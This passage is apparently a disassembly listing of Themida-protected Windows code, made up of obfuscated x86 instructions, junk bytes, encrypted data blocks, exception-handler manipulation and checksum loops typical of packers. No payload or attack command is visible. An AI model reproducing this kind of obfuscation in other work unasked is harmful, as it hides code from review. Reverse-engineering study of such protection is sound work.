		dd 42E0F381h, 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0AF6B1C3h, 90DA8B66h, 2692BF66h
		dd 5F69BB50h, 6A9028EEh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 2606C356h, 54223952h
		dd 0FFCD429Ch, 0FA1C9595h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8166C495h
		dd 8B50F1E7h, 0D1CE9F8h, 0E80000h, 5D000000h, 8712ED81h
		dd 8C0F07FEh, 1Fh, 19890Fh, 14E90000h, 3F000000h, 0E30D2423h
		dd 78AE2B9h, 1BD6D5EAh,	501FAABEh, 0E9073708h, 0Bh, 34644448h
		dd 0E966B6BAh, 8D222E5Ah, 0FDB95985h, 0FA8B6607h, 1015BD89h
		dd 0F5007FAh, 589h, 5CECBF00h, 48971CAh, 35FF6424h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CBBBF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBBBF	proc near		; CODE XREF: Themida_:005CBBB7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5CBBBF	endp

; ---------------------------------------------------------------------------
		mov	eax, 15B98589h
		cli
		pop	es
		jz	$+6
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5CBBEE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBBEE	proc near		; CODE XREF: Themida_:005CBBE6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5CBBEE	endp

; ---------------------------------------------------------------------------
		add	al, 0D3h
		lahf
		adc	[ecx], ah
		mov	ebx, 12222BFFh
		inc	dword ptr [ebp+7FA1049h]
		push	0FFFFFFFFh
		jmp	loc_5CBC23
; ---------------------------------------------------------------------------
		db 0Ch,	29h, 0Eh
		dd 0E6104E24h, 0BAFF1AC1h
		db 0CFh, 0Ch, 0A7h
; ---------------------------------------------------------------------------


loc_5CBC23:				; CODE XREF: Themida_:005CBC10j
		push	dword ptr [ebp+7FA16B1h]
		movsx	ebx, di
		call	dword ptr [ebp+7FA2875h]
		jmp	loc_5CBD4C
; ---------------------------------------------------------------------------
		jmp	loc_5CBC4C
; ---------------------------------------------------------------------------
		dd 3EB516EDh, 0D68D7E4Dh, 777D2FC3h, 0B32EADCBh
; ---------------------------------------------------------------------------


loc_5CBC4C:				; CODE XREF: Themida_:005CBC37j
		mov	bl, 55h
		mov	al, 0
		sbb	bl, 0Eh
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		mov	di, 0E9BFh
		in	al, 71h		; CMOS Memory
		mov	ebx, esi
		cmp	al, 61h
		jnb	loc_5CBD4C
		and	ebx, [ebp+7FA2615h]
		movzx	ecx, al
		mov	[ebp+7FA2AE9h],	edi
		mov	edx, 6
		mov	[ebp+7FA1741h],	edi
		mov	eax, ecx
		sub	edi, 58F5CE0Ch
		shr	eax, 4
		jmp	loc_5CBC95
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0C8F97E21h
; ---------------------------------------------------------------------------
		inc	eax


loc_5CBC95:				; CODE XREF: Themida_:005CBC8Aj
		mul	dx
		sub	ecx, eax
		add	ebx, [ebp+7FA2761h]
		mov	edx, ecx
		mov	bh, al
		jmp	loc_5CBCC3
; ---------------------------------------------------------------------------
		jmp	loc_5CBCBE
; ---------------------------------------------------------------------------
		and	[edi-378F4CADh], edx
		add	[edx+9FE5374h],	esi
		stosd
		rcl	dword ptr [esp+edx], cl


loc_5CBCBE:				; CODE XREF: Themida_:005CBCA9j
		mov	edi, 1E9412C6h


loc_5CBCC3:				; CODE XREF: Themida_:005CBCA4j
		mov	eax, [ebp+7FA15F1h]
		jns	loc_5CBCD5
		mov	[ebp+7FA34BDh],	esi


loc_5CBCD5:				; CODE XREF: Themida_:005CBCC9j
		add	eax, 7
		jmp	loc_5CBCE5
; ---------------------------------------------------------------------------
		db 0DDh, 0D8h, 4Ah
		dd 1D1C5E4Eh
		db 31h
; ---------------------------------------------------------------------------


loc_5CBCE5:				; CODE XREF: Themida_:005CBCD8j
		add	eax, 0
		movsx	ebx, si
		cmp	edx, eax
		jnb	loc_5CBD14
		jmp	loc_5CBD06
; ---------------------------------------------------------------------------
		dd 9278727Ah, 9973B932h, 0A659E2CEh
		db 0A1h, 0E6h
; ---------------------------------------------------------------------------


loc_5CBD06:				; CODE XREF: Themida_:005CBCF3j
		mov	[ebp+7FA071Dh],	esi
		jmp	loc_5CBD4C
; ---------------------------------------------------------------------------
		adc	bh, 10h


loc_5CBD14:				; CODE XREF: Themida_:005CBCEDj
		mov	ecx, [ebp+7FA0DA5h]
		clc
		sbb	bl, 0Fh
		and	ecx, 1
		jz	loc_5CBD4C
		xor	di, 0F4A7h
		and	dword ptr [ebp+7FA0DA5h], 0FFFFFFFEh
		mov	edi, [ebp+7FA16C9h]
		mov	[ebp+7FA15F1h],	edx
		push	ecx
		and	edi, [ebp+7FA0B45h]
		pop	edi
		jmp	$+5


loc_5CBD4C:				; CODE XREF: Themida_:005CBC32j
					; Themida_:005CBC5Fj ...
		lea	esi, [ebp+7FE1AEDh]
		jp	loc_5CBD59
		clc


loc_5CBD59:				; CODE XREF: Themida_:005CBD52j
		push	0
		push	0
		push	ebp
		call	sub_5CBD66
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBD66	proc near		; CODE XREF: Themida_:005CBD5Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CBD66	endp

; ---------------------------------------------------------------------------
		dw 0B288h
; ---------------------------------------------------------------------------
		cmc
		call	dword ptr [ebp+7FA1019h]
		mov	ecx, 7B3h
		mov	di, cx
		and	ecx, 0FFFFFFFCh
		cld
		push	0
		push	eax
		call	sub_5CBD96
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBD96	proc near		; CODE XREF: Themida_:005CBD8Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5CBD96	endp

; ---------------------------------------------------------------------------
		dec	ebx
		ja	short sub_5CBE02
		mov	eax, 0
		sub	edi, [ebp+7FA2769h]
		mov	edx, 0
		add	[ebp+7FA30F1h],	edx


loc_5CBDBF:				; CODE XREF: Themida_:005CBDC9j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CBDBF
		mov	di, 0E676h
		or	eax, 88h
		mov	[ebp+7FA2C95h],	esi
		pusha
		jmp	loc_5CBDED
; ---------------------------------------------------------------------------
		dd 87324864h, 0CDBCEF0h, 0C3813913h
		db 80h
; ---------------------------------------------------------------------------


loc_5CBDED:				; CODE XREF: Themida_:005CBDDBj
		add	ah, 0A8h
		popa
		mov	edx, [ebp+7FA1CD9h]
		push	0
		push	ebp
		call	sub_5CBE02
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBE02	proc near		; CODE XREF: Themida_:005CBDA7j
					; Themida_:005CBDFAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CBE02	endp

; ---------------------------------------------------------------------------
		push	ebp
		sti
		sahf
		mov	di, si
		mov	ecx, [ebp+7FA31ADh]
		push	0
		push	edx
		call	sub_5CBE29
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBE29	proc near		; CODE XREF: Themida_:005CBE21p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CBE29	endp

; ---------------------------------------------------------------------------
		db 27h,	0EFh, 7
		dd 0DAC1A679h, 830F60C5h, 6, 68D9D8Bh, 8B5007FAh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 76C35343h, 57CA07AAh, 8E97DB81h
		dd 835B1AABh, 0FA2A29BDh, 840F0007h, 85h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0E8C35545h, 9E9h
		dd 8EA04E00h, 0E2990F33h, 0B84BAAh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 9273C351h, 89BD8BEBh, 8D07FA1Fh, 0FA4F668Dh,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 57DD60E4h, 0C426A0F6h, 8BE1FF64h, 0FA0FC19Dh, 0D9BD8307h
		dd 7FA2Bh, 411840Fh, 0BD8B0000h, 7FA31D1h, 2BD9BD83h, 0F0107FAh
		dd 41984h, 5268BF00h, 0F6061A7h, 68Ch, 0D958B00h, 3107FA2Eh
		dd 0FA155585h, 0BD836107h, 7FA2BD9h, 0BD860F03h, 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 5AE4C356h, 9DA4E21Bh, 601CE31Ah, 90C6BB66h
		dd 66D98C66h, 947CF81h,	6A04E180h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2055C351h
		dd 0AF8993Dh, 11840FC9h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CDAEC353h
		dd 8B8E6A9Fh, 0FA0FE985h, 919D8907h, 3307FA1Fh,	0FA15E185h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0FC7B39BDh, 0E9B2D496h, 0FEB70F2Eh, 0D4BB6650h
		dd 24048954h, 24259D01h, 6A07FAh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 99C35242h, 810FEB43h, 15h
		dd 10E9h, 7ADA7400h, 0DD9FB605h, 17021F8Ch, 0D3AA5AEDh
		dd 94726865h, 0D98B12F6h, 8D243481h, 6A12E997h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 9A5BC357h, 2A8202E0h, 0A4C0589Ch, 6870Fh, 0BD0B0000h
		dd 7FA17C5h, 5D9D0160h,	0F07FA28h, 68Eh, 819D8B00h, 6107FA16h
		dd 1CE995FFh, 0EB307FAh, 0EB968589h, 9D8B07FDh,	7FA20B9h
		dd 199E9h, 0FE8B6600h, 0EB8E858Bh, 0C7FC07FDh, 1800h, 0A5B58900h
		dd 8B07FA1Ch, 0FDEB92B5h, 62C38107h, 8B43C122h,	0FA0D5185h
		dd 0A58D8907h, 8907FA0Ah, 25950106h, 8B07FA22h,	0FA0FE985h
		dd 0C58D8907h, 8907FA22h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 81668DC3h, 60D7E8EFh
		dd 66D8531h, 14E907FAh,	0B3000000h, 0E1663E2Ch,	8176B48Fh
		dd 67EEF362h, 7663E2A8h, 6158E376h, 0BB6FBB66h,	0F505096h
		dd 282h, 5FD88B00h, 0D9958996h,	0FF07FA22h, 0FDEB8EB5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 3472FE9Ah, 8E926F8h, 8D000000h, 8F06F149h
		dd 6866E803h, 22A29097h, 81F88B66h, 93682434h, 6A22BDh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 1CAF05C3h, 6F6FF67Ch, 8BD98A4Eh, 96858DDEh, 6A07FDEBh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 1F52C357h, 0AE99048h, 0AF000000h,	0C6E863BCh
		dd 46FD5ADEh, 7E850AAh,	44000000h, 10007E16h, 0D98BEF98h
		dd 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0B4A632C3h, 6058525Fh, 0FE9h, 0C590DA00h
		dd 0A49EA1EEh, 66E9BA49h, 0A0BD7F6Ah, 1549BD89h, 96107FAh
		dd 0FA20F98Dh, 0E995FF07h, 0F07FA1Ch, 6A61FBBFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0C98DC356h, 0B42146C2h, 8E50F5F0h, 7E9h, 0DE84F900h
		dd 0C1E44508h, 2D4D8D89h, 85C707FAh, 7FA2BD9h, 3, 10E8h
		dd 0FE841900h, 6542C434h, 76DE8A23h, 927E18BBh,	5FBBB3C8h
		dd 0EB96BD83h, 0F0007FDh, 5384h, 0BB666000h, 14E98B93h
		dd 35000000h, 778B887Bh, 0A4B60819h, 0B43C1361h, 7C8A89EDh
		dd 61819424h, 4AE9h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 59070F61h, 0FE8B6691h
		dd 68D0Fh, 85310000h, 7FA07B5h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0E8C08B00h, 0Bh,	0B443945Eh, 84D1239Ah
		dd 0B01D176h, 0FA0011BDh, 6A5F07h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0D4FBFC3h, 2DBB66ECh
		dd 25B5898Dh, 8307FA24h, 0FA2BD9BDh, 850F0307h,	45Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B8C35646h, 7EE41C77h
		dd 34ECBF66h, 0EB96BD83h, 0F0007FDh, 42E84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8BB0DB52h, 0FA0511BDh, 69858907h, 0FF07FA2Fh, 0FDEB96B5h
		dd 0FFDF8B07h, 0FA274595h, 6880F07h, 9000000h, 0FA2F7185h
		dd 8AB58B07h, 0E907FDEBh, 0Bh, 96D91067h, 0BF9AA8CFh, 0C7067702h
		dd 1000106h, 51006A00h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 9693B7D9h, 7BB16050h, 9661CF8Bh
		dd 0E08FD381h, 9D8954B2h, 7FA2ED1h, 0EB96B5FFh,	6A07FDh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 70B4A1C3h, 0C70F21C3h, 29858B60h, 3107FA1Eh,	0FA2C259Dh
		dd 0B70F6107h, 0E195FFFAh, 3307FA18h, 0FA26399Dh, 8F0F07h
		dd 8B000000h, 0FDEB8AB5h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0BB52E8AFh
		dd 93B53D64h, 0D7816660h, 8B61AB9Eh, 7D858BD8h,	8907FA1Ch
		dd 0FA00B9BDh, 0C4868907h, 81000000h, 28AE98F3h, 0D9958B5Bh
		dd 6A07FA1Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 389EC350h, 7ABEEB57h, 0A800Fh
		dd 870F0000h, 4, 8CBCBF66h, 0C2830EB7h,	50006A04h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 31BD1625h, 0B7515698h, 205089F7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 98C35545h, 0D7245D9Eh, 66471BC5h
		dd 858DFB8Bh, 7FDFEF7h,	15EDBD8Bh, 868907FAh, 0B8h, 6A006AF8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0B46FC352h, 0B5FFEE16h, 7FDEB96h,	1C9595FFh
		dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 6F5DABC3h, 544538CCh, 2D9D0929h, 5007FA24h
		dd 6A243489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 7FEEC351h, 14E9h, 9B014300h, 24211671h
		dd 0E6B70A9Bh, 0C64B31CEh
		dd 0EE36C38Fh, 96B5FF8Ch, 0E807FDEBh, 11h, 626E7288h, 8125D36Ah
		dd 9955D637h, 44F7C988h, 5FFA8A35h, 1D9595FFh, 6A07FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 5EF171C3h, 131BD83h,	0F0007FAh, 7484h, 0FE900h, 57990000h
		dd 45F78052h, 93B99289h, 0C690C5CAh, 0E9605036h, 0Ch, 8A4EBED7h
		dd 73C8321Bh, 3A6F5B7Eh, 11E85250h, 61000000h, 0BBAB919Bh
		dd 0E1F855FFh, 0ECA8E169h, 60267497h, 0B3310F58h, 61585A8Ah
		dd 6A243489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0FBF7C352h, 19BD8BF0h,	5707FA1Ch
		dd 247EBB66h, 96B5FF5Bh, 6A07FDEBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 5367C351h
		dd 3840Fh, 0DF800000h, 95FF5F53h, 7FA1CB5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 37C35242h, 36307222h
		dd 0B9B5014Dh, 0FF07FA17h, 0FDEB96B5h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 43209B4Ah, 23659D03h, 95FF07FAh, 7FA21ADh, 0D8BF0F60h
		dd 8218529h, 836107FAh,	0FA2221BDh, 840F0207h, 4Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 56C35646h, 8BDFB23Ah
		dd 0FA161585h, 0C607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 1AC35545h, 3025B33h, 0FA18B1BDh, 0DD85C707h
		dd 7FA16h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E978C353h, 0FFFFF3EEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B6C35747h, 0E073CAE9h
		dd 0F9BF66A5h, 6AC18B69h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0DC14C353h,	0F1853425h
		dd 858DA50Ah, 7FA0199h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0F3C35040h, 0A1C3F032h, 0CB35BB66h, 0D8816660h
		dd 9529CB4Ah, 7FA3231h,	870F5061h, 2, 4895B56h,	50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 6AC6E7h, 23D78166h, 66006AF9h, 0F2A3D781h, 95F5858Dh
		dd 0DE807FEh, 44000000h, 9CBADA34h, 34F08DC8h, 0EE7AFDE6h
		dd 0DC98529h, 835B07FAh, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 586CADC3h, 504D0EB0h
		dd 489F88Bh, 0B5852924h, 8007FA26h, 6A40EBh, 6AFA8Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A6C35343h, 0BD8BB55Ah
		dd 7FA22F9h, 0FFECC780h, 0FA2BE995h, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 4C3C8B8Fh
		dd 8BA456A5h, 0FA26559Dh, 118D8D07h, 0F507FDD7h, 6AD1FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 8B3AB9C3h, 0A9E54939h, 5D9D89E6h, 8907FA0Eh,	0FA1F1195h
		dd 0EDBD8307h, 107FA33h, 6C850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 45BF53C3h
		dd 2B0A5781h, 0F7816054h, 60EEFF8Dh, 0A66DB966h, 0F9026A61h
		dd 0B896BB90h, 0B350158Fh, 6A90F3h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 27FC3AC3h
		dd 0F45BD0Bh, 95FF07FAh, 7FA1C95h, 0BF6628B7h, 0B5E90078h
		dd 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FE95FFh
		push	0
		push	esi
		call	sub_5CCA52
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCA52	proc near		; CODE XREF: Themida_:005CCA4Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5CCA52	endp

; ---------------------------------------------------------------------------
		popf
		sub	[ebp+7FA0E15h],	ebx
		mov	ebx, edx
		push	0
		push	ebp
		call	sub_5CCA76
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCA76	proc near		; CODE XREF: Themida_:005CCA6Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5CCA76	endp

; ---------------------------------------------------------------------------
		aam	4Eh
		sar	byte ptr [edx-2Dh], 0B5h
		dec	ecx
		dec	ecx
		push	ebp
		lea	eax, [ebp+7FDB959h]
		sub	[ebp+7FA21CDh],	ecx
		push	eax
		mov	bh, al
		mov	[esp], eax
		add	[ebp+7FA29BDh],	edi
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5CCAB9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCAB9	proc near		; CODE XREF: Themida_:005CCAB1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5CCAB9	endp

; ---------------------------------------------------------------------------
		db 20h,	89h, 95h
		dd 7FA07CDh, 258964h, 66000000h, 0D7F2DB81h, 104985FFh
		dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0FF6ACDC3h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0D6C35040h, 0B5FFE112h, 7FA3391h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 8AC35040h, 0FFC4542Ah
		dd 0FA287595h, 118E907h, 0B5890000h, 7FA08C1h, 816600B0h
		dd 0E6952CCBh, 0C7BB6670h, 8B71E409h, 0FA23F59Dh, 0F613C07h
		dd 0F583h, 28BF6600h, 0F9B70F5Eh, 9C8B60Fh, 0FA23E1BDh
		dd 6BA07h, 0C18B0000h, 18C58529h, 0E8C107FAh, 5E904h, 0F4300000h
		dd 662F61E8h, 0C82BE2F7h, 33E9B589h, 0D18B07FAh, 0E9FBBF0Fh
		dd 6, 28159D8Bh, 858B07FAh, 7FA00F9h, 13E8h, 0A84A3A00h
		dd 655F58Fh, 3DEDE02Bh,	7EDF5284h, 0E5D8CE2Fh, 2D858D09h
		dd 835F07FAh, 895107C0h, 0FA2531BDh, 0C0835B07h, 0D59D8900h
		dd 3B07FA17h, 27830FD0h, 89000000h, 0FA1E85BDh,	8A0F6007h
		dd 6, 1485BD89h, 0BD2907FAh, 7FA1649h, 50E961h,	81660000h
		dd 6628D0EFh, 8D8BF88Bh, 7FA2EF1h, 8BB9F780h, 0FA24EDBDh
		dd 1E18307h, 30840Fh, 0BD8B0000h, 7FA2B41h, 2EF1A583h
		dd 31FE07FAh, 0FA33859Dh, 6890F07h, 8B000000h, 0FA0C9D9Dh
		dd 0F9958907h, 3307FA00h, 0FA3195BDh, 0E907h, 0B58D0000h
		dd 7FE24D3h, 6A006AF8h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0C29EC352h,	95FF5595h
		dd 7FA1019h, 13E9h, 1066BF00h, 150BED0Eh, 4B8F5ED3h, 591BC754h
		dd 0B1AF10CDh, 804B9h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 9A4BB565h, 0B99589F0h
		dd 8307FA24h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 3BBBA7C3h, 0E9F44ABEh, 12h, 2A7DC86Ch
		dd 72BFCA8Dh, 6266718Bh, 66DC3FF2h, 9FB338A7h, 57006AFCh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 9725910Dh, 662ED2F7h, 8B806EBBh, 0FA0D2D9Dh,	0B807h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 5DB9B4C3h, 9C4C65E5h, 0BAh, 0C233AD00h, 0D003E8D1h
		dd 7504E983h, 6AFB8BF4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 8724C357h, 67AAD642h
		dd 880Dh, 0D9958B00h, 5607FA1Ch, 68B0Fh, 95890000h, 7FA2B99h
		dd 0AD8D8B5Bh, 2307FA31h, 0FA231DBDh, 0C28B5007h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8958188Bh, 0FA010995h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 3D758E8Ah, 1F199D89h, 0BD8307FAh, 7FA2A29h, 6C840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0A0ABC356h, 8D9D8BC5h,	0B807FA21h
		dd 0
; ---------------------------------------------------------------------------
		sub	[ebp+7FA0829h],	edi
		lea	ecx, [ebp+7FA4F66h]
		push	0
		push	eax
		call	sub_5CCE4B


loc_5CCE48:				; CODE XREF: Themida_:005CCEB2j
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCE4B	proc near		; CODE XREF: Themida_:005CCE43p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5CCE4B	endp

; ---------------------------------------------------------------------------
		xor	al, [edx]
		lodsb
		dec	esi
		mov	[ebp+7FA2D75h],	ecx
		mov	[ebp+7FA0E5Dh],	ebx
		jmp	ecx
; ---------------------------------------------------------------------------
		jle	loc_5CCE77
		mov	di, 0A84Ah


loc_5CCE77:				; CODE XREF: Themida_:005CCE6Dj
		cmp	dword ptr [ebp+7FA2BD9h], 0
		jz	loc_5CD2DB
		mov	[ebp+7FA32A9h],	esi
		cmp	dword ptr [ebp+7FA2BD9h], 1
		jz	loc_5CD2F6
		push	0
		push	esi
		call	sub_5CCEA2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCEA2	proc near		; CODE XREF: Themida_:005CCE9Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5CCEA2	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_5CCE48
		not	byte ptr [ebx+66h]
		mov	ebx, 835B2A2Ah
		mov	ebp, 7FA2BD9h
		add	ecx, [edi]
		xchg	bh, al
		add	eax, [eax]
		add	[edx+0], ch
		push	ebp
		call	sub_5CCED3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCED3	proc near		; CODE XREF: Themida_:005CCECBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5CCED3	endp

; ---------------------------------------------------------------------------
		db 0ADh
		dd 0EA49F4AFh, 2E8A1347h, 5810Fh, 81660000h, 66FA54EFh
		dd 6A60FB8Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 4D4EC355h, 9529B68Eh, 7FA293Dh
		dd 5E9h, 0B2F2A700h, 8C668207h,	199D8BD9h, 8B07FA2Bh, 0FA08919Dh
		dd 4E18007h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0BDC35242h, 885F6A46h, 89ABC65Fh, 0FA0CAD9Dh, 0FC90A07h
		dd 0C884h, 8BF98B00h, 0FA0FE985h, 45BD8B07h, 3307FA2Ch
		dd 0FA15E185h, 0D1BD8B07h, 5007FA25h, 0BFEFB660h, 417BD9F5h
		dd 24048961h, 5E9h, 0F6DE0A00h,	6AF449h, 11C19D09h, 0F26807FAh
		dd 0BBDCCB4Bh, 2C9C05C1h, 0D240481h, 6A2353B8h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 6A9FC350h, 9D31158Eh, 7FA223Dh, 0FF29F380h, 0FA1CE995h
